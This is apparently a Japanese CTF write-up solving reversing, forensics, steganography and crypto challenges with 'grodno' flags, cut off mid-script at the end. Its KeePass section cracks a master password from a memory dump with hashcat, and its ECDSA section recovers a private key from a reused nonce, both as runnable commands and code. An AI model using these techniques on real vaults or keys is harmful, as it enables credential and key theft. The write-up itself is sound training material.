_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 128, 0x7ffeedfc3ac0, 98)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 119, 0x7ffeedfc3ac0, 56)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 55)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 55)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 55)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 133, 0x7ffeedfc3ac0, 55)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 175, 0x7ffeedfc3ac0, 56)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 97)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 97)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 97)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 238, 0x7ffeedfc3ac0, 97)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 101)                                                   = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 101)                           = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 101)                             = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 72, 0x7ffeedfc3ac0, 101)                                                                                = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52)                                                    = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 52)                            = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 52)                              = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 187, 0x7ffeedfc3ac0, 52)                                                                                = 0x7ffeedfc3ac0
_ZNKSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEE3strEv(0x7ffeedfc3d00, 0x7ffeedfc3ab0, 0x7ffeedfc3ab0, 98 <unfinished ...>
_Znwm(65)                                                                                                                         = 0x55f869ec2510
<... _ZNKSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEE3strEv resumed> )                                                = 0x7ffeedfc3d00
_ZNSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEED1Ev(0x7ffeedfc3ab0, 0x55f869ec2300, 64, 0x55f869ec2510)               = 0x7f319b062758
memcmp("63f907ed0c04f2fe1936c0caca8cafd1"..., "ca978112ca1bbdcafac231b39a23dc4d"..., 64)                                          = -45
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55f84c5b5100, 0x55f84c5b3094, 0x55f84c5b3094, 99)                       = 0x55f84c5b5100
_ZNSolsEPFRSoS_E(0x55f84c5b5100, 0x7f319af40800, 0x7f319af40800, 1024You are wrong
)                                                            = 0x55f84c5b5100
_ZdlPvm(0x55f869ec2510, 65, 65, 0x55f869ec2510)                                                                                   = 0x55f869eb0010
_ZdlPvm(0x55f869ec22b0, 65, 65, 0x55f869ec22b0)                                                                                   = 0x55f869eb0010
+++ exited (status 0) +++
$ echo -n a | sha256sum
ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb  -

memcmpの箇所を見てみると、どうやらsha256を63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849と比較しているようだ。
CrackStationで63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849をクラックすると、以下の文字列のハッシュであることがわかる。

p8a8s8s8w8o8r8d8
$ ./main0.exe p8a8s8s8w8o8r8d8
You are right! Your flag: grodno{cea48deb49d8e4dcaee47d1ee710c9ac}
grodno{cea48deb49d8e4dcaee47d1ee710c9ac}

Elven Knot (Reverse)

$ strings reverse | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
6libpython3.10.so.1.0

この実行ファイルはPython3.10の環境でPythonコードをelf化したもののようだ。pycを抽出し、その処理のメインとなる部分をデコンパイルする。

$ python3 pyinstxtractor.py reverse
[+] Processing reverse
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 844705 bytes
[+] Found 9 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: reverse.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: reverse

You can now use a python decompiler on the pyc files within the extracted directory

https://pylingual.io/デコンパイルする。

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: reverse.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import time
from os import path
from typing import List
DUO = 35
str_array = 'str(UNO) + str(DUO) + str(TRES)'

class Student:
    def __init__(self, name: str, grade: int, average_marks: float):
        self.name = name
        self.grade = grade
        self.average_marks = average_marks
    looks_like_secret = 'list(map(lambda x: str(int(x) ** 2), str_array))'

    def __str__(self):
        return f'Student {self.name} from {self.grade} grade with average mark: {self.average_marks}'
students: List[Student] = []
UNO = 124

def create_student():
    name = input('Enter the student\'s name:\n')
    grade = int(input('Enter the student\'s grade:\n'))
    av_mark = float(input('Enter the student\'s average mark:\n'))
    some_func = str('Try to use this:                                                                            \n\n\n     print(.join(secret variable))                     and put that in                             grodno{}')
    student = Student(name, grade, average_marks=av_mark)
    students.append(student)

def list_students():
    for student in students:
        print(student)
TRES = 56

def save_students():
    with open('students.txt', 'a') as f:
        for student in students:
            f.write(str(student))
            f.write('\n')
while True:
    time.sleep(2)
    try:
        choice = int(input('Menu:\n 1.Create a new student\n 2.List all students\n 3.View secret student\n 4.Save students to file\n 5.Exit\n'))

        @choice
        case 1:
            create_student()
        else:  # inserted
            case 2:
                list_students()
            else:  # inserted
                case 3:
                    print('Haha, do you really think it would be that easy? ( ͡° ͜ʖ ͡° ) (-_-) zzZ')
                else:  # inserted
                    case 4:
                        save_students()
                    else:  # inserted
                        case 5:
                            pass  # postinserted
                        else:  # inserted
                            if False:
                                pass  # postinserted
                            print('Looks like there is no matching menu option :(((')
    except Exception as e:
        print('Wrong input, try one more time :3')

ところどころ気になるコードがある。

DUO = 35
str_array = 'str(UNO) + str(DUO) + str(TRES)'
UNO = 124
TRES = 56

looks_like_secret = 'list(map(lambda x: str(int(x) ** 2), str_array))'

some_func = str('Try to use this:                                                                            \n\n\n     print(.join(secret variable))                     and put that in                             grodno{}')

これを踏まえ、推測しながらフラグを構成する。

>>> DUO = 35
>>> UNO = 124
>>> TRES = 56
>>> str_array = str(UNO) + str(DUO) + str(TRES)
>>> looks_like_secret = list(map(lambda x: str(int(x) ** 2), str_array))
>>> ''.join(looks_like_secret)
'14169252536'
grodno{14169252536}

Equation Group (Forensics)

問題に答えていく。

1. Initial sandbox analysis of the file revealed components masquerading as Siemens WinCC/STEP 7 system files, a clear sign of malware.
What is the name of this infamous malware?

Siemens WinCC/STEP 7 malware」で検索すると、以下であることがわかる。

Stuxnet
2. The malware has been identified as Stuxnet, which gained notoriety in 2010. To respond appropriately, it must be classified.
What is the primary behavioral type of this malware? (Answer: one word)

https://en.wikipedia.org/wiki/Stuxnetを見ると、以下であることがわかる。

worm
3. As Stuxnet is a worm, the first critical action is to isolate the infected computer to prevent network propagation. Detection at the sandbox analysis stage allowed the company to avert an incident.
Which country was Stuxnet designed to attack, specifically targeting its nuclear program?

先ほどのWikipediaから以下であることがわかる。

Iran
4. The investigation revealed that the Stuxnet rootkit component initially infected the system via a compromised USB flash drive.
Which critical Windows zero-day vulnerability (0-day) did the worm exploit for USB propagation? (Provide the vulnerability identifier in CVE-****-**** or MS**-*** format)

https://www.nca.gr.jp/info/stuxnet.htmlを見ると、以下であることがわかる。

CVE-2010-2568
5. Stuxnet was notorious for exploiting a record number (for its time) of unknown vulnerabilities (0-days).
How many unique zero-day vulnerabilities did the original version of Stuxnet exploit?

ChatGPTに聞いてみたら、以下の4つがあることがわかった。

CVE-2010-2568 – Windows Shortcut (.LNK) vulnerability
CVE-2010-2729 – Windows Win32k.sys privilege escalation
CVE-2010-2743 – Windows Task Scheduler privilege escalation
CVE-2008-4250 – Windows Server Service vulnerability (also known as MS08-067)
4
6. Based on its sophistication, targeted nature, and techniques used, which well-known APT group (Advanced Persistent Threat) is attributed to the creation of Stuxnet?

以下のページを見ると、グループ名がわかる。

https://blog.kaspersky.co.jp/mothership-unlocked-the-equation-apt/7883/
Equation group
7. The Equation Group is widely recognized by cybersecurity experts as being affiliated with the intelligence services of a specific nation-state, possessing access to unique resources and 0-day vulnerabilities.
Which country's intelligence service is most likely behind the Equation Group? (Answer format: Country;Intelligence Service)

先ほどのWikipediaから以下であることがわかる。

USA;NSA
8. In 2016, a hacking group calling itself ______________ leaked a massive trove of Equation Group's cyber weapons arsenal, including the EternalBlue exploit.

ChatGPTに聞いてみたら、次の答えだった。

The Shadow Brokers
9. The EternalBlue exploit, leaked from the Equation Group, targeted a vulnerability in the SMBv1 protocol (CVE-2017-0144). It became the foundation for devastating ransomware outbreaks like WannaCry and NotPetya.
Name what technique he used on the Mitre matrix.

ChatGPTに聞いてみたら、次の答えだった。

Exploitation of Remote Services

これらを答えていくと、フラグが表示された。

$ nc ctf.mf.grsu.by 9059

███████╗ ██████╗ ██╗   ██╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗     ██████╗ ██████╗  ██████╗ ██╗   ██╗██████╗ 
██╔════╝██╔═══██╗██║   ██║██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║    ██╔════╝ ██╔══██╗██╔═══██╗██║   ██║██╔══██╗
█████╗  ██║   ██║██║   ██║███████║   ██║   ██║██║   ██║██╔██╗ ██║    ██║  ███╗██████╔╝██║   ██║██║   ██║██████╔╝
██╔══╝  ██║▄▄ ██║██║   ██║██╔══██║   ██║   ██║██║   ██║██║╚██╗██║    ██║   ██║██╔══██╗██║   ██║██║   ██║██╔═══╝ 
███████╗╚██████╔╝╚██████╔╝██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║    ╚██████╔╝██║  ██║╚██████╔╝╚██████╔╝██║     
╚══════╝ ╚══▀▀═╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝     ╚═════╝ ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝     
                                                                                                                

На ночном дежурстве в SOC-центре SIEM система получила предупреждение от песочницы об анализе файла с одного из компьютеров в инфраструктуре ICS (Industrial Control Systems).
Начальник назначил тебе, как стажёру, определить уровень угрозы. Это шанс продемонстрировать свои навыки в качестве SOC-аналитика.
SHA256SUM файла: f182a5492ca40d234330fa3b657ae3fbfd0655e18d5595c14f4f5efc743b8983.
В качестве одного из инструментов исследования рекомендуется использовать MITRE ATT&CK framework.
===============
During a night shift at the SOC center, the SIEM system received an alert from a sandbox analyzing a file from a computer within the ICS (Industrial Control Systems) infrastructure.
Your supervisor assigned you, as an intern, to assess the threat level. This is your chance to demonstrate your skills as a SOC analyst.
File SHA256SUM: f182a5492ca40d234330fa3b657ae3fbfd0655e18d5595c14f4f5efc743b8983.
It is recommended to use the MITRE ATT&CK framework as one of the investigation tools.

1. Краткий анализ файла в песочнице показал, что он содержит компоненты, замаскированные под системные файлы Siemens WinCC/STEP 7. Это явный признак вредоносного ПО.
Какое название носит этот известный вредоносный код?
1. Initial sandbox analysis of the file revealed components masquerading as Siemens WinCC/STEP 7 system files, a clear sign of malware.
What is the name of this infamous malware?

>Stuxnet
Правильно ! // Good answer !

2. Вредоносная программа идентифицирована как Stuxnet, который получил широкую известность в 2010 году. Для правильного реагирования на угрозу ее необходимо классифицировать.
К какому типу вредоносных программ (малвари) относится Stuxnet по своей основной поведенческой модели? (Ответ: одно слово)
2. The malware has been identified as Stuxnet, which gained notoriety in 2010. To respond appropriately, it must be classified.
What is the primary behavioral type of this malware? (Answer: one word)

>worm
Правильно ! // Good answer !

3. Поскольку Stuxnet является червем, первое критически важное действие — изолировать зараженный компьютер, чтобы предотвратить его распространение по сети. Обнаружение на этапе анализа в песочнице позволило компании избежать инцидента.
Какую страну атаковал Stuxnet, нанося ущерб ее ядерной программе?
3. As Stuxnet is a worm, the first critical action is to isolate the infected computer to prevent network propagation. Detection at the sandbox analysis stage allowed the company to avert an incident.
Which country was Stuxnet designed to attack, specifically targeting its nuclear program?

>Iran
Правильно ! // Good answer !

4. Расследование показало, что руткит-компонент Stuxnet первоначально попал на систему через зараженную USB-флешку.
Какую критическую уязвимость (0-day) в Windows использовал червь для распространения через USB? (Укажите идентификатор уязвимости в формате CVE-****-**** или MS**-***)
4. The investigation revealed that the Stuxnet rootkit component initially infected the system via a compromised USB flash drive.
Which critical Windows zero-day vulnerability (0-day) did the worm exploit for USB propagation? (Provide the vulnerability identifier in CVE-****-**** or MS**-*** format)

>CVE-2010-2568
Правильно ! // Good answer !

5. Stuxnet печально известен использованием рекордного для своего времени числа неизвестных уязвимостей (0-day).
Сколько уникальных 0-day уязвимостей эксплуатировала оригинальная версия Stuxnet?
5. Stuxnet was notorious for exploiting a record number (for its time) of unknown vulnerabilities (0-days).
How many unique zero-day vulnerabilities did the original version of Stuxnet exploit?

>4
Правильно ! // Good answer !

6. Исходя из сложности, целевого характера и использованных техник, какая известная APT-группа (Advanced Persistent Threat) связывается с созданием Stuxnet?
6. Based on its sophistication, targeted nature, and techniques used, which well-known APT group (Advanced Persistent Threat) is attributed to the creation of Stuxnet?

>Equation group
Правильно ! // Good answer !

7. Equation Group широко признана экспертами по кибербезопасности как группа, связанная со спецслужбами конкретного государства, обладающая доступом к уникальным ресурсам и 0-day уязвимостям.
Спецслужбы какой страны, скорее всего, стоят за деятельностью Equation Group? (Формат ответа: Страна;Спецслужба)
7. The Equation Group is widely recognized by cybersecurity experts as being affiliated with the intelligence services of a specific nation-state, possessing access to unique resources and 0-day vulnerabilities.
Which country's intelligence service is most likely behind the Equation Group? (Answer format: Country;Intelligence Service)

>USA;NSA
Правильно ! // Good answer !

8. В 2016 году хакерская группа, называвшая себя ______________, совершила масштабную утечку арсенала кибероружия Equation Group, включая эксплойт EternalBlue.
8. In 2016, a hacking group calling itself ______________ leaked a massive trove of Equation Group's cyber weapons arsenal, including the EternalBlue exploit.

>The Shadow Brokers
Правильно ! // Good answer !

9. Эксплойт EternalBlue, утекший от Equation Group, эксплуатировал уязвимость в протоколе SMBv1 (CVE-2017-0144). Он стал основой для разрушительных эпидемий вымогателей, таких как WannaCry и NotPetya.
Назовите какую технику по матрице Mitre он использовал.
9. The EternalBlue exploit, leaked from the Equation Group, targeted a vulnerability in the SMBv1 protocol (CVE-2017-0144). It became the foundation for devastating ransomware outbreaks like WannaCry and NotPetya.
Name what technique he used on the Mitre matrix.

>Exploitation of Remote Services
Правильно ! // Good answer !

grodno{3da1d0rwewyq0ef7we6we6q93f7ee1}
grodno{3da1d0rwewyq0ef7we6we6q93f7ee1}

Recovery password (Forensics)

KeePass.DMPと、Database.kdbxが添付されている。KeePass.DMPから辞書ファイルになるワードリストを取得して、クラックする。
このとき大量のワードリストになったので、パスワードの候補を絞って、ワードリストのサイズを小さくした。

$ keepass-dump-extractor KeePass.DMP -f all > wordlist.txt
$ keepass2john Database.kdbx > hash.txt
$ hashcat -m 13400 --username hash.txt wordlist.txt
$ cat wordlist.txt | grep _f0r_z3r0-d4y_HunT1Ng > wordlist_edited.txt

$ hashcat -m 13400 --username hash.txt wordlist_edited.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: wordlist_edited.txt
* Passwords.: 2660
* Bytes.....: 71440
* Keyspace..: 2660
* Runtime...: 1 sec

$keepass$*2*60000*0*4c2aa3628c92eb4236ece5b1fb0c64036703970d0330163636159c331e534f3d*233bf522e4ddbd00457411979ccc7bb26bc19ab3cff6cffc41cd2387f43f8730*64167f5bc4846d9c825628cda00b8d3e*d9109f2d7549ee4669e1d52fa603f58c9bc6b3afdd64cc7cd8dc947f97c5c230*16b51569a10bcfb74ecd28b36b28b43ad8bdc54b13bb187ca17e04cf82f71a3d:z3St_f0r_z3r0-d4y_HunT1Ng
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*60000*0*4c2aa3628c92eb4236ece5b1fb0c640...f71a3d
Time.Started.....: Thu Jul  3 16:39:22 2025 (5 secs)
Time.Estimated...: Thu Jul  3 16:39:27 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlist_edited.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      454 H/s (9.06ms) @ Accel:128 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2560/2660 (96.24%)
Rejected.........: 0/2560 (0.00%)
Restore.Point....: 2048/2660 (76.99%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59904-60000
Candidate.Engine.: Device Generator
Candidates.#1....: i22t_f0r_z3r0-d4y_HunT1Ng -> {ǿS6_f0r_z3r0-d4y_HunT1Ng
Hardware.Mon.#1..: Util: 95%

Started: Thu Jul  3 16:39:20 2025
Stopped: Thu Jul  3 16:39:28 2025

Database.kdbxを以下のパスワードで開く。

z3St_f0r_z3r0-d4y_HunT1Ng

タイトル「Junior Crypto 2025」のパスワードを見ると、フラグが設定されていた。

grodno{T001_uP_0r_Dr00L_D0wn}

S = H * W ? (Forensics)

バイナリエディタでオフセット0x17のバイトを00から01にして高さを変更すると、画像にフラグが現れた。

grodno{0100101001010101001010}

Guitar melody (Stegano)

Audacityで開き、スペクトログラムを見る。さらにサンプリング周波数を調整すると、文字列っぽいものが見える。
上下反転すれば、文字列として読める。

M37R0_2033_R3DUX

grodno{M37R0_2033_R3DUX}

Big pik (Stegano)

モールス信号のようになっているので、https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。

THE LIFE AND ADVENTURES OF ROBINSON CRUSOE BY DANIEL DEFOE IS A NOVEL WRITTEN IN THE EARLY 18TH CENTURY THE BOOK CHRONICLES THE LIFE OF ROBINSON CRUSOE. A YOUNG MAN WHOSE ADVENTUROUS SPIRIT LEADS HIM TO DEFY HIS FATHER'S WISHES AND PURSUE A LIFE AT SEA. WHICH ULTIMATELY RESULTS IN A SERIES OF HARROWING MISFORTUNES. INCLUDING SHIPWRECK AND ISOLATION ON A DESERTED ISLAND THE OPENING OF THE NOVEL INTRODUCES ROBINSON CRUSOE'S EARLY LIFE. DETAILING HIS UPBRINGING IN IN GRODNO/4NDH1SYEARN1NGF0RADVENTURE/ DESPITE HIS FATHERS WARNINGS AGAINST SUCH A RECKLESS LIFESTYLE
grodno{4nd_h1s_yearn1ng_f0r_adventure}

Lonely Squirrel Blues (Stegano)

GIFアニメーションになっているので、Giamで分割する。
5つの画像ファイルになったので、1つ目からStegSolveで確認する。
Extract PreviewでRed 0のみチェックを入れると、以下の文字列が抽出できる。

part1:M5ZG6ZDON55US3S7ORUGKX3GNFSWYZC7N5TF62L:

2つ目以降も同様に確認する。

part2:OMZXXE3LBORUW63S7ONSWG5LSNF2HSLC7JRSWC4:
part3:3UL5JWSZ3ONFTGSY3BNZ2F6QTJORZV6KCMKNBCS:
part4:X3BNRTW64TJORUG2X3JONPWC3S7NFWXA33SORQW:
part5:45C7ORXXA2LDL5XWMX3ENFZWG5LTONUW63T5:

連結して、base32デコードする。

$ echo M5ZG6ZDON55US3S7ORUGKX3GNFSWYZC7N5TF62LOMZXXE3LBORUW63S7ONSWG5LSNF2HSLC7JRSWC43UL5JWSZ3ONFTGSY3BNZ2F6QTJORZV6KCMKNBCSX3BNRTW64TJORUG2X3JONPWC3S7NFWXA33SORQW45C7ORXXA2LDL5XWMX3ENFZWG5LTONUW63T5 | base32 -d
grodno{In_the_field_of_information_security,_Least_Significant_Bits_(LSB)_algorithm_is_an_important_topic_of_discussion}
grodno{In_the_field_of_information_security,_Least_Significant_Bits_(LSB)_algorithm_is_an_important_topic_of_discussion}

Signature ECDSA (Crypto)

同じkに対して署名しているので、以下のように式を変形し、kを求めることができる。

s1 = (pow(k, -1, n) * (h1 + r * d)) % n
s2 = (pow(k, -1, n) * (h2 + r * d)) % n
                ↓
s1 - s2 = (pow(k, -1, n) * (h1 - h2) % n
                ↓
k = (h1 - h2) * pow(s1 - s2, -1, n) % n

kがわかれば、逆算してdを求めることができる。

#!/usr/bin/env python3
from ecdsa import SECP256k1
import hashlib

curve = SECP256k1
G = curve.generator
n = curve.order

r1 = 0xe37ce11f44951a60da61977e3aadb42c5705d31363d42b5988a8b0141cb2f50d
s1 = 0xdf88df0b8b3cc27eedddc4f3a1ecfb55e63c94739e003c1a56397ba261ba381d
h1 = 0x315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3

r2 = 0xe37ce11f44951a60da61977e3aadb42c5705d31363d42b5988a8b0141cb2f50d
s2 = 0x2291d4ab9e8b0c412d74fb4918f57580b5165f8732fd278e65c802ff8be86f61
h2 = 0xa6ab91893bbd50903679eb6f0d5364dba7ec12cd3ccc6b06dfb04c044e43d300

assert r1 == r2

k = (h1 - h2) * pow(s1 - s2, -1, n) % n

d = (s1 * k - h1) * pow(r1, -1, n) % n

flag = int(d).to_bytes((d.bit_length() + 7) // 8, 'big').decode()
print(flag)
grodno{My_pr1vate_key_f0r_ECDSA}

OTP with shift register (Crypto)

初期状態がわかっているので、XORの鍵は算出でき、復号できる。

#!/usr/bin/env python3
from base64 import *
from Crypto.Util.number import *

def lfsr(state, mask):
    bit = (state & 1)
    state = state >> 1
    if bit:
        state ^= mask
    return state, bit

with open('OTP_LFSR_b64.bin', 'rb') as f:
    enc = b64decode(f.read())

initial_state = 0b1100101011110001
mask          = 0b1011010000000001

state = initial_state
key = ''
for i in range(len(enc) * 8):
    state, bit = lfsr(state, mask)
    key += str(bit)
key = int(key, 2)
enc = bytes_to_long(enc)
msg = long_to_bytes(enc ^ key).decode()
print(msg)

復号結果は以下の通り。

In computing, a linear-feedback shift register (LFSR) is a shift register whose input bit is a linear function of its previous state. The most commonly used linear function of single bits is exclusive-or (XOR). grodno{LFSRs_have_l0ng_been_us3d_as_pseud0-rand0m_number_g3n3rators_for_use_1n_stream_c1phers}, due to the ease of construction from simple electromechanical or electronic circuits, long periods, and very uniformly distributed output streams. However, an LFSR is a linear system, leading to fairly easy cryptanalysis.
grodno{LFSRs_have_l0ng_been_us3d_as_pseud0-rand0m_number_g3n3rators_for_use_1n_stream_c1phers}

Very Obfuscated Crypto (Crypto)

コードが読みにくいので、改行を適宜入れたり、変数名などを書き換えたりする。

import numpy as np

def ____(A, n):
    x7 = int(round(np.linalg.det(A))) % n;
    x8 = pow(x7, -1, n);
    x9 = np.round(x7 * np.linalg.inv(A)).astype(int) ;
    x10 = (x8 * x9) % n;
    return x10.astype(int)

def pad(s: bytes, n: int) -> bytes:
    x14 = (n - len(s) % n) % n;
    return s + bytes([0] * x14)

def encrypt(plain: bytes, A: np.ndarray) -> np.ndarray:
    plain = pad(plain, A.shape[0]);
    x20 = np.frombuffer(plain, dtype=np.uint8).reshape(-1, A.shape[0]);
    return (x20 @ A.T) % 257

if __name__ == "__main__":
    flag = b"VERYSECRETFLAG"  
    while True:
        A = np.random.randint(1, 257, (3, 3))
        try:
            ______________________ = ____(A, 257);
            break
        except:
            continue
    encrypted = encrypt(flag, A)
    print("A:\n " + repr(A.tolist()) + " \nencrypted:\n" + repr(encrypted.tolist()))

最初の関数は関係ない。encrypted = _______________(flag, A)の部分のみ関係ある。
暗号化データにA.Tの逆行列を掛け算することによって、復号する。

#!/usr/bin/env python3
import numpy as np
import sympy

def inverse_matrix(matrix, mod):
    sym_mat = sympy.Matrix(matrix.tolist())
    return np.array(sym_mat.inv_mod(mod))

def pad(s: bytes, n: int) -> bytes:
    x14 = (n - len(s) % n) % n;
    return s + bytes([0] * x14)

def encrypt(plain: bytes, A: np.ndarray) -> np.ndarray:
    plain = pad(plain, A.shape[0]);
    x20 = np.frombuffer(plain, dtype=np.uint8).reshape(-1, A.shape[0]);
    print(x20)
    print(A.T)
    return (x20 @ A.T) % mod

mod = 257

A = np.array([[193, 243, 218], [240, 186, 172], [62, 118, 70]])
encrypted = np.array([[76, 252, 109], [67, 73, 222], [227, 49, 104], [199, 230, 167], [118, 74, 4], [253, 70, 40], [78, 123, 230], [16, 240, 85], [62, 184, 34], [87, 50, 233], [224, 188, 40]])

mat_flag = encrypted @ inverse_matrix(A.T, mod) % mod
flag = ''
for i in range(len(mat_flag)):
    for j in range(3):
        flag += chr(mat_flag[i][j])

flag = flag.rstrip('\x00')
print(flag)
grodno{0bfuscated_st3p_by_st3p}

Amount of his dreams (Crypto)

sはおそらく暗号データであるため、以下が成り立つ。

pow(m, e, n) = s

Sign({x}) = leak[x]の形式で書かれている部分は、以下が成り立つ。

pow(x, d, n)

sを素因数分解し、その要素でxが存在するか確認する。

$ python3 -m primefac 51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749
51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749: 53 71 73 83 97 101 103 107 109 127 131 137 139 149 151 157 163 167 173 179 191 193 199 211 223 227 229 233 239 251 257 263 269 271 277 281 293 307 311 313 317 331 337 349 359 367 373 397 401 409 419 421 431 433 439 457 461 463 467 487 503 509 521 523 541 547 563 569 571 577 587 593 601 607 613 617 631 643 653 661 677 683 691 701 719 727 733 743 751 761 769 773 787 797 809 821 827 829 839 853 857 859 863 877 881 883 887 911 919 929 941 947 967 971 977 983 991 997

少し見たが、素因数分解したものがxとして存在していそう。それぞれのLeakの値を掛け算し、nで割った余りが復号データになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

